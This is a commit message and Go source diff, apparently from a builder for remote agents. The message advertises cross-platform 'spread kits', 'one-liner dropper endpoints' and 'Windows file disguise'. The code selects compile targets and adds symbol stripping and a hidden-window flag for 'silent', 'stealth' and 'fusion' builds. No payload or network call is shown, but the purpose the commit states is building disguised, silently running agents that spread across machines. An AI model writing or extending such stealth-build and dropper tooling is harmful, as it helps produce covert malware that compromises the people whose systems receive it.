Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

server/internal/builder/platform.go

@@ -0,0 +1,75 @@
+package builder
+
+import "strings"
+
+// BuildPlatform identifies a GOOS/GOARCH compile target.
+type BuildPlatform struct {
+	GOOS   string
+	GOARCH string
+	Ext    string
+}
+
+func (p BuildPlatform) Label() string {
+	return p.GOOS + "-" + p.GOARCH
+}
+
+func (p BuildPlatform) BinDir() string {
+	return "bin/" + p.Label()
+}
+
+var defaultPlatforms = []BuildPlatform{
+	{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"},
+	{GOOS: "linux", GOARCH: "amd64", Ext: ""},
+	{GOOS: "linux", GOARCH: "arm64", Ext: ""},
+	{GOOS: "darwin", GOARCH: "arm64", Ext: ""},
+	{GOOS: "darwin", GOARCH: "amd64", Ext: ""},
+}
+
+func platformsForRequest(req *BuildRequest) []BuildPlatform {
+	target := strings.ToLower(strings.TrimSpace(req.TargetOS))
+	if target == "" || target == "windows" {
+		return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
+	}
+	if target == "linux" {
+		arch := req.TargetArch
+		if arch == "" {
+			arch = "amd64"
+		}
+		return []BuildPlatform{{GOOS: "linux", GOARCH: arch, Ext: ""}}
+	}
+	if target == "darwin" {
+		arch := req.TargetArch
+		if arch == "" {
+			arch = "arm64"
+		}
+		return []BuildPlatform{{GOOS: "darwin", GOARCH: arch, Ext: ""}}
+	}
+	if target == "universal" {
+		if req.TargetArch != "" && req.TargetArch != "all" {
+			for _, p := range defaultPlatforms {
+				if p.GOARCH == req.TargetArch {
+					return []BuildPlatform{p}
+				}
+			}
+		}
+		return append([]BuildPlatform{}, defaultPlatforms...)
+	}
+	return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
+}
+
+func workerFileName(worker string, p BuildPlatform, fusion bool) string {
+	base := sanitizeFileName(worker)
+	if fusion {
+		return "worker-" + base + p.Ext
+	}
+	return "install-" + base + p.Ext
+}
+
+func ldflagsFor(req *BuildRequest, p BuildPlatform) string {
+	ldflags := "-s -w"
+	gui := req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled
+	if p.GOOS == "windows" && gui {
+		ldflags += " -H windowsgui"
+	}
+	return ldflags
+}